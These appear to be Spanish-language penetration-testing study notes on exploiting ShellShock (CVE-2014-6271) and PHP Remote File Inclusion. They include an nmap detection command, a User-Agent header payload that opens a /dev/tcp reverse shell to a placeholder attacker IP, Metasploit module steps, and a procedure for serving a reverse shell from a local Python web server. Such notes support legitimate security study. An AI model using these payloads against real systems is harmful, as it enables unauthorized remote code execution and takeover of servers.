Vulnerabilidad ShellShock

El nombre oficial de esta vulnerabilidad es GNU Bash Remote Code Execution Vulnerability (CVE-2014-6271) y está considerada como grave. Permite la ejecución remota de código y así obtener el control de un ordenador.

Cuando veamos archivos con extensiónes .sh, .pl, .cgi, etc podemos pensar en este tipo de ataque

Para hacer un scanner de esta vulnerabilidad usamos nmap:

nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <objetivo>

- **Para poder conseguir una reverse Shell** capturamos la petición con burp y en el user-agent ponemos lo siguiente:

User-Agent: () { ;: } /bin/bash -i >& /dev/tcp/ipAtacante/puerto 0>&1

- **Podemos usar metasploit:**

search shellshock

Usamos la vulnerabilidad: apache_mod_cgi_bash_env_exec

Set RHOST, LHOST y Targeturi.

run

RFI – Remote File Inclusion

Se basa en la capacidad de PHP de incluir archivos externos al servidor.

Vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

Pasos a seguir:

- Cuando tengamos el exploit y la ruta a apuntar hacemos:
- Copiamos nuestra reverse Shell en el directorio que queramos con nuestra ip de atacante.
- Montamos un servidor web en nuestra kali en el directorio donde este la reverse (asegurandono que el apache2 este apagado):
    - python m SimpleHTTPServer 80
- Nos ponemos en escucha en el puerto
- Y en el exploit ponemos la ip nuestra y el nombre del archivo de la reverse